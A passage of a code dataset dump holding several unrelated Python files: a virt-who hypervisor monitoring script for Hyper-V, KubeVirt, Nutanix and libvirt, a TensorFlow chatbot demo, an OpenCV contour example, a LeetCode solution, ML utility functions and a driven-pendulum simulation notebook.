uuid[11:13]\n + uuid[9:11]\n + \"-\"\n + uuid[16:18]\n + uuid[14:16]\n + uuid[18:]\n )\n logger.info(f\"=== Hyperv Data:\\n{hyperv_data}\\n===\")\n\n logger.info(f\">>>Hyperv: Check if the rhel guest if running.\")\n if not hyperv_data[\"guest_name\"]:\n hyperv_state, guest_ip = (state_guest_bad, guest_none)\n logger.error(\n f\"Did not find the rhel guest ({guest_name}), \"\n f\"please install one.\"\n )\n else:\n if hyperv_data[\"guest_state\"] == 2 and host_ping(\n host=hyperv_data[\"guest_ip\"]\n ):\n logger.info(f\"The rhel guest({guest_name}) is running well.\")\n ssh_guest = SSHConnect(\n host=hyperv_data[\"guest_ip\"],\n user=config.esx.guest_username,\n pwd=config.esx.guest_password,\n )\n hyperv_data[\"guest_uuid\"] = rhel_host_uuid_get(ssh_guest).upper()\n else:\n hyperv_state, guest_ip = (state_guest_bad, guest_down)\n logger.warning(\n f\"The rhel guest({guest_name}) is down, please repair it.\"\n )\n\n finally:\n logger.info(f\">>>Hyperv: Compare and update the data in virtwho.ini.\")\n hyperv_dict = {\n \"server\": server,\n \"guest_ip\": guest_ip,\n }\n if hyperv_data:\n compare_dict = {\n \"uuid\": [config.hyperv.uuid, hyperv_data[\"hyperv_uuid\"]],\n \"hostname\": [config.hyperv.hostname, hyperv_data[\"hyperv_hostname\"]],\n # 'version': [config.hyperv.version,\n # hyperv_data['hyperv_version']],\n \"cpu\": [config.hyperv.cpu, hyperv_data[\"hyperv_cpu\"]],\n \"guest_ip\": [guest_ip, hyperv_data[\"guest_ip\"]],\n \"guest_uuid\": [config.hyperv.guest_uuid, hyperv_data[\"guest_uuid\"]],\n }\n for key, value in compare_dict.items():\n if value[0] != value[1]:\n logger.info(f\"The hyperv({key}) changed.\")\n hyperv_dict[key] = f\"{value[1]} (Updated)\"\n hyperv_state = state_update\n else:\n hyperv_state = state_server_bad\n\n logger.info(f\"Hyperv: the test result is ({hyperv_state})\")\n virtwho_ini_update(\"hyperv\", \"state\", hyperv_state)\n for option, value in hyperv_dict.items():\n virtwho_ini_update(\"hyperv\", option, value)\n return hyperv_state\n\n\ndef kubevirt_monitor():\n \"\"\"\n Check the Kubevirt state, including the Kubevirt server testing and the\n the rhel guest state testing. At last it will update the test result\n to the virtwho.ini file.\n \"\"\"\n kubevirt_state = state_good\n kubevirt_data = {}\n kubevirt_data_sw = {}\n\n guest_name = config.kubevirt.guest_name\n guest_ip = config.kubevirt.guest_ip\n guest_name_sw = config.kubevirt.guest_name_sw\n guest_ip_sw = config.kubevirt.guest_ip_sw\n\n endpoint = config.kubevirt.endpoint\n kubevirt = KubevirtApi(endpoint, config.kubevirt.token)\n try:\n server = re.findall(r\"https://(.+?):6443\", endpoint)[0]\n logger.info(f\">>>Kubevirt: Check if the hypervisor is running.\")\n if not host_ping(host=server):\n kubevirt_state, endpoint = (state_server_bad, server_broke)\n logger.error(f\"The kubevirt host has broken, please repaire it.\")\n\n else:\n logger.info(f\">>>Kubevirt: Test the guest {guest_name}.\")\n kubevirt_data = kubevirt.guest_search(\n guest_name, config.kubevirt.guest_port\n )\n logger.info(f\"=== Kubevirt data of {guest_name}:\\n{kubevirt_data}\\n===\")\n if not kubevirt_data:\n kubevirt_state, guest_ip = (state_guest_bad, guest_none)\n logger.error(\n f\"Did not find the guest({guest_name}), please install one.\"\n )\n elif not host_ping(host=guest_ip):\n logger.warning(\n f\"The rhel guest({guest_name}) is down, please repair it.\"\n )\n else:\n ssh_guest = SSHConnect(\n host=kubevirt_data[\"hostname\"],\n user=config.kubevirt.guest_username,\n pwd=config.kubevirt.guest_password,\n port=config.kubevirt.guest_port,\n )\n if ssh_connect(ssh_guest):\n logger.info(f\"The guest({guest_name}) is running well.\")\n else:\n kubevirt_state, guest_ip = (state_guest_bad, guest_down)\n logger.warning(\n f\"The guest({guest_name}) is unavailable, please repair it.\"\n )\n\n if guest_name_sw:\n logger.info(f\">>>Kubevirt: Test the guest {guest_name_sw}.\")\n kubevirt_data_sw = kubevirt.guest_search(\n guest_name_sw, config.kubevirt.guest_port_sw\n )\n logger.info(\n f\"=== Kubevirt data of {guest_name_sw}:\\n{kubevirt_data_sw}\\n===\"\n )\n if not kubevirt_data_sw:\n kubevirt_state, guest_ip_sw = (state_guest_bad, guest_none)\n logger.error(\n f\"Did not find the guest({guest_name_sw}), please install one.\"\n )\n else:\n ssh_guest_sw = SSHConnect(\n host=kubevirt_data_sw[\"hostname\"],\n user=config.kubevirt.guest_username_sw,\n pwd=config.kubevirt.guest_password_sw,\n port=config.kubevirt.guest_port_sw,\n )\n if ssh_connect(ssh_guest_sw):\n logger.info(f\"The guest({guest_name_sw}) is running well.\")\n else:\n kubevirt_state, guest_ip_sw = (state_guest_bad, guest_down)\n logger.warning(\n f\"The guest({guest_name}) is unavailable, please repair it.\"\n )\n\n finally:\n logger.info(f\">>>Kubevirt: Compare and update the data in virtwho.ini.\")\n kubevirt_dict = {\n \"endpoint\": endpoint,\n \"guest_ip\": guest_ip,\n }\n compare_dict = {}\n if kubevirt_data:\n compare_dict.update(\n {\n \"uuid\": [config.kubevirt.uuid, kubevirt_data[\"uuid\"]],\n \"hostname\": [config.kubevirt.hostname, kubevirt_data[\"hostname\"]],\n \"version\": [config.kubevirt.version, kubevirt_data[\"version\"]],\n \"cpu\": [config.kubevirt.cpu, kubevirt_data[\"cpu\"]],\n \"guest_ip\": [config.kubevirt.guest_ip, kubevirt_data[\"hostname\"]],\n \"guest_uuid\": [\n config.kubevirt.guest_uuid,\n kubevirt_data[\"guest_uuid\"],\n ],\n }\n )\n if guest_name_sw:\n kubevirt_dict[\"guest_ip_sw\"] = guest_ip_sw\n if kubevirt_data_sw:\n compare_dict.update(\n {\n \"uuid_sw\": [config.kubevirt.uuid_sw, kubevirt_data_sw[\"uuid\"]],\n \"hostname_sw\": [\n config.kubevirt.hostname_sw,\n kubevirt_data_sw[\"hostname\"],\n ],\n \"version_sw\": [\n config.kubevirt.version_sw,\n kubevirt_data_sw[\"version\"],\n ],\n \"cpu_sw\": [config.kubevirt.cpu_sw, kubevirt_data_sw[\"cpu\"]],\n \"guest_ip_sw\": [\n config.kubevirt.guest_ip_sw,\n kubevirt_data_sw[\"hostname\"],\n ],\n \"guest_uuid_sw\": [\n config.kubevirt.guest_uuid_sw,\n kubevirt_data_sw[\"guest_uuid\"],\n ],\n }\n )\n for key, value in compare_dict.items():\n if value[0] != value[1]:\n logger.info(f\"The kubevirt({key}) changed.\")\n kubevirt_dict[key] = f\"{value[1]} (Updated)\"\n if \"BAD\" not in kubevirt_state:\n kubevirt_state = state_update\n if \"BAD\" in kubevirt_state and state_update not in kubevirt_state:\n kubevirt_state = f\"Part {kubevirt_state}, part {state_update}\"\n\n if not kubevirt_data and not kubevirt_data_sw:\n kubevirt_state = state_server_bad\n\n logger.info(f\"Kubevirt: the test result is ({kubevirt_state})\")\n virtwho_ini_update(\"kubevirt\", \"state\", kubevirt_state)\n for option, value in kubevirt_dict.items():\n virtwho_ini_update(\"kubevirt\", option, value)\n return kubevirt_state\n\n\ndef ahv_monitor():\n \"\"\"\n Check the Nutanix state, including the Nutanix server testing and the\n the rhel guest state testing. At last it will update the test result\n to the virtwho.ini file.\n \"\"\"\n ahv_state = state_good\n ahv_data = {}\n ahv_data_sw = {}\n server = config.ahv.server\n\n guest_name = config.ahv.guest_name\n guest_ip = config.ahv.guest_ip\n guest_name_sw = config.ahv.guest_name_sw\n guest_ip_sw = config.ahv.guest_ip_sw\n\n ahv = AHVApi(\n server=server, username=config.ahv.username, password=config.ahv.password\n )\n\n try:\n logger.info(f\">>>Nutanix: Check if the hypervisor is running well.\")\n if not host_ping(host=server):\n ahv_state, server = (state_server_bad, server_broke)\n logger.error(f\"The Nutanix host has broken, please repaire it.\")\n\n else:\n logger.info(f\">>>Nutanix: Test the guest {guest_name}.\")\n ahv_data = ahv.guest_search(guest_name)\n logger.info(f\"===Nutanix data of {guest_name}:\\n{ahv_data}\\n===\")\n if not ahv_data:\n ahv_state, guest_ip = (state_guest_bad, guest_none)\n logger.error(\n f\"Did not find the guest({guest_name}), please install one.\"\n )\n else:\n ssh_guest = SSHConnect(\n host=ahv_data[\"guest_ip\"],\n user=config.ahv.guest_username,\n pwd=config.ahv.guest_password,\n )\n if ssh_connect(ssh_guest):\n logger.info(f\"The guest{guest_name} is running well.\")\n else:\n ahv_state, guest_ip = (state_guest_bad, guest_down)\n logger.warning(\n f\"The guest({guest_name}) is down, please repair it.\"\n )\n if guest_name_sw:\n ahv_data_sw = ahv.guest_search(guest_name_sw)\n logger.info(f\"===Nutanix data of {guest_name_sw}:\\n{ahv_data_sw}\\n===\")\n if not ahv_data_sw:\n ahv_state, guest_ip_sw = (state_guest_bad, guest_none)\n logger.error(\n f\"Did not find the guest({guest_name_sw}), please install one.\"\n )\n else:\n ssh_guest_sw = SSHConnect(\n host=ahv_data_sw[\"guest_ip\"],\n user=config.ahv.guest_username_sw,\n pwd=config.ahv.guest_password_sw,\n )\n if ssh_connect(ssh_guest_sw):\n logger.info(f\"The guest{guest_name_sw} is running well.\")\n else:\n ahv_state, guest_ip_sw = (state_guest_bad, guest_down)\n logger.warning(\n f\"The guest({guest_name_sw}) is down, please repair it.\"\n )\n\n finally:\n logger.info(f\">>>Nutanix: Compare and update the data in virtwho.ini.\")\n ahv_dict = {\n \"server\": server,\n \"guest_ip\": guest_ip,\n }\n compare_dict = {}\n if ahv_data:\n compare_dict.update(\n {\n \"uuid\": [config.ahv.uuid, ahv_data[\"uuid\"]],\n \"hostname\": [config.ahv.hostname, ahv_data[\"hostname\"]],\n \"version\": [config.ahv.version, ahv_data[\"version\"]],\n \"cpu\": [config.ahv.cpu, ahv_data[\"cpu\"]],\n \"cluster\": [config.ahv.cluster, ahv_data[\"cluster\"]],\n \"guest_ip\": [config.ahv.guest_ip, ahv_data[\"guest_ip\"]],\n \"guest_uuid\": [config.ahv.guest_uuid, ahv_data[\"guest_uuid\"]],\n }\n )\n if guest_name_sw:\n ahv_dict[\"guest_ip_sw\"] = guest_ip_sw\n if ahv_data_sw:\n compare_dict.update(\n {\n \"guest_ip_sw\": [\n config.ahv.guest_ip_sw,\n ahv_data_sw[\"guest_ip\"],\n ],\n \"guest_uuid_sw\": [\n config.ahv.guest_uuid_sw,\n ahv_data_sw[\"guest_uuid\"],\n ],\n }\n )\n for key, value in compare_dict.items():\n if value[0] != value[1]:\n logger.info(f\"The Nutanix({key}) changed.\")\n ahv_dict[key] = f\"{value[1]} (Updated)\"\n if \"BAD\" not in ahv_state:\n ahv_state = state_update\n if \"BAD\" in ahv_state and state_update not in ahv_state:\n ahv_state = f\"Part {ahv_state}, part {state_update}\"\n\n if not ahv_data and not ahv_data_sw:\n ahv_state = state_server_bad\n\n logger.info(f\"Nutanix: the test result is ({ahv_state})\")\n virtwho_ini_update(\"ahv\", \"state\", ahv_state)\n for option, value in ahv_dict.items():\n virtwho_ini_update(\"ahv\", option, value)\n return ahv_state\n\n\ndef libvirt_monitor():\n \"\"\"\n Check the Libvirt state, including the Libvirt server testing and the\n the rhel guest state testing. At last it will update the test result\n to the virtwho.ini file.\n \"\"\"\n libvirt_state = state_good\n libvirt_data = {}\n server = config.libvirt.server\n guest_ip = config.libvirt.guest_ip\n guest_name = config.libvirt.guest_name\n libvirt = LibvirtCLI(\n server=server,\n ssh_user=config.libvirt.username,\n ssh_passwd=config.libvirt.password,\n )\n ssh_libvirt = SSHConnect(\n host=server, user=config.libvirt.username, pwd=config.libvirt.password\n )\n try:\n logger.info(f\">>>Libvirt: Check if the libvirt host is running.\")\n if not host_ping(host=server):\n libvirt_state, server, guest_ip = (\n state_server_bad,\n server_broke,\n guest_none,\n )\n logger.error(f\"The libvirt host has broken, please repaire it.\")\n else:\n logger.info(f\">>>Libvirt: Get the hypervisor env data.\")\n libvirt_data = libvirt.guest_search(guest_name)\n logger.info(f\"=== Libvirt Data\\n{libvirt_data}\\n ===\")\n\n logger.info(f\">>>Libvirt: Check if the rhel guest is running.\")\n if not libvirt.guest_exist(guest_name):\n libvirt_state, guest_ip = (state_guest_bad, guest_none)\n logger.error(\n f\"Did not find the rhel guest ({guest_name}), \"\n f\"please install one.\"\n )\n else:\n if libvirt_data[\"guest_state\"] == \"running\" and host_ping(\n host=libvirt_data[\"guest_ip\"]\n ):\n logger.info(f\"The rhel guest({guest_name}) is running well.\")\n else:\n libvirt_state, guest_ip = (state_guest_bad, guest_down)\n logger.error(\n f\"The rhel guest({guest_name}) is down, please repair it.\"\n )\n finally:\n logger.info(f\">>>Libvirt: Compare and update the data in virtwho.ini.\")\n libvirt_dict = {\n \"server\": server,\n \"guest_ip\": guest_ip,\n }\n if libvirt_data:\n compare_dict = {\n \"uuid\": [config.libvirt.uuid, libvirt_data[\"host_uuid\"]],\n \"hostname\": [config.libvirt.hostname, hostname_get(ssh_libvirt)],\n \"version\": [config.libvirt.version, libvirt_data[\"host_version\"]],\n \"cpu\": [config.libvirt.cpu, libvirt_data[\"host_cpu\"]],\n \"guest_ip\": [guest_ip, libvirt_data[\"guest_ip\"]],\n \"guest_uuid\": [config.libvirt.guest_uuid, libvirt_data[\"guest_uuid\"]],\n }\n for key, value in compare_dict.items():\n if value[0] != value[1]:\n logger.info(f\"The libvirt {key} changed.\")\n libvirt_dict[key] = f\"{value[1]} (Updated)\"\n libvirt_state = state_update\n else:\n libvirt_state = state_server_bad\n\n logger.info(f\"Libvirt: the test result is ({libvirt_state})\")\n virtwho_ini_update(\"libvirt\", \"state\", libvirt_state)\n for option, value in libvirt_dict.items():\n virtwho_ini_update(\"libvirt\", option, value)\n return libvirt_state\n\n\ndef rhevm_monitor():\n return \"SKIP\"\n\n\ndef xen_monitor():\n return \"SKIP\"\n\n\ndef arguments_parser():\n \"\"\"\n Parse and convert the arguments from command line to parameters\n for function using, and generate help and usage messages for\n each arguments.\n \"\"\"\n parser = argparse.ArgumentParser()\n subparsers = parser.add_subparsers(dest=\"command\")\n # esx\n subparsers.add_parser(\"esx\", help=\"Test the vCenter environment\")\n # hyperv\n subparsers.add_parser(\"hyperv\", help=\"Test the Hyper-V environment\")\n # kubevirt\n subparsers.add_parser(\"kubevirt\", help=\"Test the Kubevirt environment\")\n # ahv\n subparsers.add_parser(\"ahv\", help=\"Test the Nutanix environment\")\n # libvirt\n subparsers.add_parser(\"libvirt\", help=\"Test the libvirt environment\")\n # rhevm\n subparsers.add_parser(\"rhevm\", help=\"Test the RHEVM environment\")\n # xen\n subparsers.add_parser(\"xen\", help=\"Test the Xen environment\")\n return parser.parse_args()\n\n\nif __name__ == \"__main__\":\n args = arguments_parser()\n if args.command == \"esx\":\n esx_monitor()\n if args.command == \"hyperv\":\n hyperv_monitor()\n if args.command == \"kubevirt\":\n kubevirt_monitor()\n if args.command == \"ahv\":\n ahv_monitor()\n if args.command == \"libvirt\":\n libvirt_monitor()\n if args.command == \"rhevm\":\n rhevm_monitor()\n if args.command == \"xen\":\n xen_monitor()\n","repo_name":"VirtwhoQE/virtwho-test","sub_path":"virtwho/provision/virtwho_hypervisor.py","file_name":"virtwho_hypervisor.py","file_ext":"py","file_size_in_byte":25868,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"12993125850","text":"from __future__ import absolute_import, division, print_function, unicode_literals\n\nimport argparse\nimport re\nimport sys\n\nimport tensorflow as tf\ntf.random.set_seed(1234)\nimport tensorflow_datasets as tfds\n\n\nfrom models import Transformer\nfrom data_utils import create_masks, preprocess_sentence\nfrom configuration import *\n\n#checkpoint_path1 = \"./data/chatbot/ckpt-1\"\nclass CustomSchedule(tf.keras.optimizers.schedules.LearningRateSchedule):\n\n def __init__(self, d_model, warmup_steps=4000):\n super(CustomSchedule, self).__init__()\n\n self.d_model = d_model\n self.d_model = tf.cast(self.d_model, tf.float32)\n\n self.warmup_steps = warmup_steps\n\n def __call__(self, step):\n arg1 = tf.math.rsqrt(step)\n arg2 = step * (self.warmup_steps**-1.5)\n\n return tf.math.rsqrt(self.d_model) * tf.math.minimum(arg1, arg2)\n\n\ndef evaluate(sentence, tokenizer, model):\n START_TOKEN, END_TOKEN = [tokenizer.vocab_size], [tokenizer.vocab_size + 1]\n sentence = preprocess_sentence(sentence)\n\n sentence = tf.expand_dims(\n START_TOKEN + tokenizer.encode(sentence) + END_TOKEN, axis=0)\n\n output = tf.expand_dims(START_TOKEN, 0)\n \n \n enc_padding_mask, look_ahead_mask, dec_padding_mask = create_masks(sentence, output)\n\n for _ in range(MAX_LENGTH):\n\n #inputs, dec_inputs, enc_padding_mask, look_ahead_mask, dec_padding_mask, training\n predictions = model(\n inputs=sentence,\n dec_inputs=output,\n enc_padding_mask=enc_padding_mask,\n look_ahead_mask=look_ahead_mask,\n dec_padding_mask=dec_padding_mask,\n training=False\n )\n #print('model output shape: {}'.format(tf.shape(predictions)))\n \n # select the last word from the seq_len dimension\n predictions = predictions[:, -1:, :]\n #print(tf.shape(predictions))\n predicted_id = tf.cast(tf.argmax(predictions, axis=-1), tf.int32)\n #print(tf.shape(predicted_id))\n #print('model prediction ID: {}'.format(predicted_id))\n \n \n\n # return the result if the predicted_id is equal to the end token\n if tf.equal(predicted_id, END_TOKEN[0]) is None:\n break\n\n # concatenated the predicted_id to the output which is given to the decoder\n # as its input.\n output = tf.concat([output, predicted_id], axis=-1)\n\n return tf.squeeze(output, axis=0)\n\n\ndef predict(sentence, tokenizer, model, initialize=False):\n prediction = evaluate(sentence, tokenizer, model)\n predicted_sentence = tokenizer.decode(\n [i for i in prediction if i < tokenizer.vocab_size])\n\n if not initialize:\n print('Input: {}'.format(sentence))\n print('Output: {}'.format(predicted_sentence))\n\n return predicted_sentence\n\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--input\",\n default=None,\n type=str,\n help=\"run demo chatbot\")\n\n args = parser.parse_args()\n\n input_sentence = args.input\n\n tokenizer = tfds.features.text.SubwordTextEncoder.load_from_file(vocab_filename)\n # Vocabulary size plus start and end token\n VOCAB_SIZE = tokenizer.vocab_size + 2\n\n model = Transformer(\n num_layers=NUM_LAYERS,\n units=UNITS,\n d_model=D_MODEL,\n num_heads=NUM_HEADS,\n vocab_size=VOCAB_SIZE,\n dropout=DROPOUT, \n name='transformer'\n )\n demo_sentense = 'How are you'\n predict(demo_sentense, tokenizer, model, True)\n\n model.load_weights(save_weight_path)\n\n model.summary()\n tf.keras.utils.plot_model(\n model, to_file='transformer.png', show_shapes=True)\n\n\n\n predict(input_sentence, tokenizer, model)\n\n\n\n\n\n\n\n\n\n\n\n\nif __name__ == \"__main__\":\n main()\n ","repo_name":"shareeff/NLP_Tensorflow","sub_path":"Transformer_ChatBot01/run_demo.py","file_name":"run_demo.py","file_ext":"py","file_size_in_byte":3620,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"5174046516","text":"import cv2\n\n#Imagenes\nimagen = cv2.imread(\"contorno.jpg\")\ngrises = cv2.cvtColor(imagen,cv2.COLOR_BGR2GRAY)\n_,umbral = cv2.threshold(grises,100,255,cv2.THRESH_BINARY_INV)\ncontorno,jerarquia = cv2.findContours(umbral,cv2.RETR_LIST,cv2.CHAIN_APPROX_SIMPLE)\ncv2.drawContours(imagen,contorno,-1,(251,60,50),3)\n\ncv2.imshow(\"Image original\",imagen)\n#cv2.imshow(\"Image en grises\",grises)\n#cv2.imshow(\"Image en umbral\",umbral)\ncv2.waitKey(0)\ncv2.destroyAllWindows()","repo_name":"KUSHIRO13/Python-para-no-matem-ticos-De-0-hasta-reconocimiento-facial","sub_path":"Seccion7-introduccion al reconocimiento/monedas-contorno/contorno.py","file_name":"contorno.py","file_ext":"py","file_size_in_byte":456,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"17312884024","text":"# Given an integer array nums, return true if any value appears at least twice in the array, and return false if every element is distinct.\n\n\nclass Solution():\n def containsDuplicate(self,mylist):\n # using set solution\n myset=set()\n # {1,2,3,4,5,5}\n for i in mylist:\n if i in myset:\n return True\n else:\n myset.add(i)\n return False\n def containsDuplicatehash(self,mylist):\n # using set solution\n hashmap={}\n for i in mylist:\n if i not in hashmap:\n hashmap[i] =i\n else:\n # meaning the number is alreadyu in the hashmap\n return True\n # if the return true doesn't run then this should run because no duplicate was found\n return False\n\n\n# using set\nprint(Solution().containsDuplicate([2,2,1]))\n# using hashmaps\nprint(Solution().containsDuplicatehash([2,2,1]))","repo_name":"leonkoech/DataStructures-Algos","sub_path":"Data Structures/arrays/containsDuplicates.py","file_name":"containsDuplicates.py","file_ext":"py","file_size_in_byte":949,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"4472626235","text":"from sklearn.metrics import confusion_matrix\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport itertools\nimport torch\nimport collections\nimport scipy \nimport os\nimport random\nimport seaborn as sns\n\ndef _save_confusion_matrix(cm, target_names,\n save_path,\n title='Confusion matrix'):\n accuracy = np.trace(cm) / float(np.sum(cm))\n misclass = 1 - accuracy\n\n # normalize\n cm = cm.astype('float') / cm.sum(axis=1)[:, np.newaxis]\n \n size = cm.shape[0]\n fig, ax = plt.subplots(figsize=(size + 5,size + 2))\n sns.heatmap(cm, annot=True, fmt='.2f', xticklabels=target_names, yticklabels=target_names, cmap='Blues')\n plt.ylabel('Actual')\n plt.xlabel('Predicted\\naccuracy={:0.4f}; misclass={:0.4f}'.format(accuracy, misclass))\n plt.savefig(save_path / \"confusion_matrix.png\")\n\ndef generate_confusion_matrix(y_true, y_pred, label_names, path):\n \n cf_matrix = confusion_matrix(y_true, y_pred)\n\n _save_confusion_matrix(cf_matrix, label_names, path)\n \ndef map_labels(class_to_label, label_to_class, labels):\n cls = [label_to_class[x.item()] for x in labels]\n return [class_to_label[x[0]] for x in cls]\n\ndef init_seed(seed=0, deterministic=False):\n \"\"\"\n\n :param seed:\n :param deterministic:\n :return:\n \"\"\"\n os.environ[\"PYTHONHASHSEED\"] = str(seed)\n random.seed(seed)\n np.random.seed(seed)\n torch.manual_seed(seed)\n torch.cuda.manual_seed(seed)\n torch.cuda.manual_seed_all(seed)\n\n if deterministic:\n torch.backends.cudnn.benchmark = False\n torch.backends.cudnn.deterministic = True\n else:\n torch.backends.cudnn.benchmark = True\n torch.backends.cudnn.deterministic = False\n \ndef prepare_device(device_ids, n_gpu_use):\n \"\"\"\n\n :param n_gpu_use:\n :return:\n \"\"\"\n os.environ[\"CUDA_VISIBLE_DEVICES\"] = str(device_ids)\n\n n_gpu = torch.cuda.device_count()\n print(\"gpu count\", n_gpu)\n if n_gpu_use > 0 and n_gpu == 0:\n print(\"the model will be performed on CPU.\")\n n_gpu_use = 0\n\n if n_gpu_use > n_gpu:\n print(\n \"only {} are available on this machine, \"\n \"but the number of the GPU in config is {}.\".format(n_gpu, n_gpu_use)\n )\n n_gpu_use = n_gpu\n\n device = torch.device(\"cuda:0\" if n_gpu_use > 0 else \"cpu\")\n list_ids = list(range(n_gpu_use))\n\n return device, list_ids\n\ndef get_device(args):\n \"\"\"\n Init the devices from the config file.\n\n Args:\n config (dict): Parsed config file.\n\n Returns:\n tuple: A tuple of deviceand list_ids.\n \"\"\"\n init_seed(args.seed, args.deterministic)\n device, list_ids = prepare_device(args.device_ids, args.n_gpu)\n return device, list_ids\n\ndef to_device(input, device):\n if torch.is_tensor(input):\n return input.to(device=device, non_blocking=True)\n elif isinstance(input, str):\n return input\n elif isinstance(input, collections.Mapping):\n return {k: to_device(sample, device=device) for k, sample in input.items()}\n elif isinstance(input, collections.Sequence):\n return [to_device(sample, device=device) for sample in input]\n else:\n raise TypeError(\"Input must contain tensor, dict or list, found {type(input)}\")","repo_name":"thamycoelho/FSL-Transformers","sub_path":"utils/metrics.py","file_name":"metrics.py","file_ext":"py","file_size_in_byte":3270,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"29530683797","text":"from IPython.display import YouTubeVideo\n# A driven double pendulum\nYouTubeVideo('7DK1Eayyj_c')\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nget_ipython().magic('matplotlib inline')\nplt.style.use('notebook');\nget_ipython().magic(\"config InlineBackend.figure_format = 'retina'\")\n\ndef non_linear_θ(ℓ,θ0,t):\n '''The solution for θ for the non-linear pendulum.'''\n # use special functions\n from scipy import special\n k = np.sin(θ0/2.0)\n K = special.ellipk(k*k)\n (sn,cn,dn,ph) = special.ellipj(K-np.sqrt(g/l)*t,k*k)\n return 2.0*np.arcsin(k*sn)\n\nfrom scipy.constants import pi as π\nfrom scipy.constants import g\n\n# constants and intitial conditions\nℓ = 0.25 # m\nΔt = 0.001 # s\n\nt = np.arange(0.0,4.0,Δt)\nθ,ω = np.zeros_like(t),np.zeros_like(t)\nθ[0] = π/4.0 # rad\n\nfor n in range(t.size-1):\n θ[n+1] = θ[n] + ω[n]*Δt\n ω[n+1] = ω[n] -(g/ℓ)*np.sin(θ[n+1])*Δt\n\n# the exact solution\nplt.plot(t,non_linear_θ(ℓ,θ[0],t), label='Exact')\n\n# the Euler-Cromer method\nplt.plot(t[::20],θ[::20], 'o', mfc='None', markersize = 6, label='Euler Cromer method')\nplt.legend(loc='lower left',frameon=True)\n\nplt.xlabel('Time [s]')\nplt.ylabel('θ(t) [rad]')\n\nfrom scipy.constants import g\nfrom scipy.constants import pi as π\ndef euler(t,FD,ℓ,θ0,ω0,γ,ΩD):\n ''' Semi-implicit Euler Method for the non-linear, dissipative, driven pendulum.'''\n \n Δt = t[1]-t[0]\n ω,θ = np.zeros_like(t),np.zeros_like(t)\n θ[0],ω[0] = θ0,ω0\n \n # perform the numerical integration\n for n in range(t.size-1):\n ω[n+1] = ω[n] + (-(g/ℓ)*np.sin(θ[n]) - γ*ω[n] + FD*np.sin(ΩD*t[n]))*Δt\n θ[n+1] = θ[n] + ω[n+1]*Δt\n \n # keep theta in [-pi,pi)\n if θ[n+1] < -π: θ[n+1] += 2.0*π\n if θ[n+1] >= π: θ[n+1] -= 2.0*π \n\n return θ,ω\n\nparams = ℓ,θ0,ω0,γ,ΩD = g, 0.2, 0.0, 0.5, 2.0/3.0\nFD = [0.0,0.5,0.75,1.0,1.25,1.5]\nΔt = 0.04\nt = np.arange(0.0,60,Δt)\n\nθ,ω = euler(t,0.0,*params)\n\nplt.plot(t,θ)\nplt.title(r'$F_\\mathrm{D} = %3.1f\\; \\mathrm{s}^{-2}$' % 0.0)\nplt.xlabel('Time [s]')\nplt.ylabel('θ(t) [rad]')\n\nparams = g, 0.2, 0.0, 0.5, 2.0/3.0\nθ,ω = euler(t,0.2,*params)\n\nplt.plot(t,θ)\nplt.title(r'$F_\\mathrm{D} = %3.1f\\; \\mathrm{s}^{-2}$' % 0.2)\nplt.xlabel('Time [s]')\nplt.ylabel('θ(t) [rad]')\n\nF = [0.0,0.5,0.75,1.0,1.25,1.5]\n\n# create a subplot array\nfig, axes = plt.subplots(2,3, figsize=(12,10), sharex=True)\nfig.subplots_adjust(wspace=0.3)\nfor i, ax in enumerate(axes.flat):\n θ,ω = euler(t,F[i],*params)\n ax.plot(t,θ, label=r'$F_\\mathrm{D} = %3.1f\\; \\mathrm{s}^{-2}$' % F[i])\n ax.legend(frameon=True, loc='lower right')\n\n# set axis labels\n[ax.set_ylabel('θ(t) [rad]') for ax in axes[:,0]]\n[ax.set_xlabel('Time [s]') for ax in axes[-1,:]]\n\nθ0 = [0.2,0.21,0.22] # initial conditions\nF = [0.5,1.2] # driving force\n\n# compare the initial conditions\nfig, axes = plt.subplots(2,1,sharex=True,sharey=False, figsize=(6,8))\nfor i, ax in enumerate(axes.flat):\n for j,cθ in enumerate(θ0):\n label = r'$\\theta_0 = %4.2f\\,\\mathrm{rad}$' % cθ\n params = ℓ,cθ,ω0,γ,ΩD\n θ,ω = euler(t,F[i],*params)\n ax.plot(t,θ,label=label)\n ax.legend(frameon=True, loc='lower left')\n ax.text(70,0.0,r'$F_\\mathrm{D} = %3.1f\\; \\mathrm{s}^{-2}$' % F[i],fontsize=30)\n \n # set axis labels\n ax.set_ylabel('θ(t) [rad]')\n\naxes[-1].set_xlabel('Time [s]')\n\nF = [0.5,1.2] # driving force [1/s^2]\nθ0 = 0.2 # initial angle [rad]\nparams = [(ℓ,θ0,ω0,γ,ΩD),(ℓ,θ0+1.0E-4,ω0,γ,ΩD)]\n\nΔθ = []\nfig, axes = plt.subplots(2,1,sharex=True, sharey=False, squeeze=False, figsize=(6,8))\nfor i, ax in enumerate(axes.flat):\n label = r'$F_\\mathrm{D} = %3.1f\\; \\mathrm{s}^{-2}$' % F[i]\n \n θ1,ω = euler(t,F[i],*params[0])\n θ2,ω = euler(t,F[i],*params[1])\n Δθ.append(np.abs(θ1-θ2))\n \n ax.semilogy(t, Δθ[i], label=label)\n ax.legend(loc='best', frameon=False)\n \n # set axis labels\n ax.set_ylabel('|Δθ(t)| [rad]')\n\naxes[1,0].set_xlabel('Time [s]')\n\nfrom scipy.signal import argrelextrema\nfrom scipy.optimize import curve_fit\nF = [0.5,1.2]\n\n# Linear fitting function\ndef linear(x,a0,a1):\n return a0 + a1*x\n\n# find the local maxima\npopt = [0,0]\nfor i,cF in enumerate(F):\n ind = argrelextrema(np.log(Δθ[i]),np.greater)[0]\n extθ = np.log(Δθ[i][ind])\n popt[i], pcov = curve_fit(linear,t[ind],extθ)\n\n# Now plot the results of the fit\nfig, axes = plt.subplots(2,1,sharex=True, sharey=False, squeeze=False, figsize=(6,8))\nfor i, ax in enumerate(axes.flat):\n labellam = r'$\\lambda = %4.2f\\; \\mathrm{s}^{-1}$' % 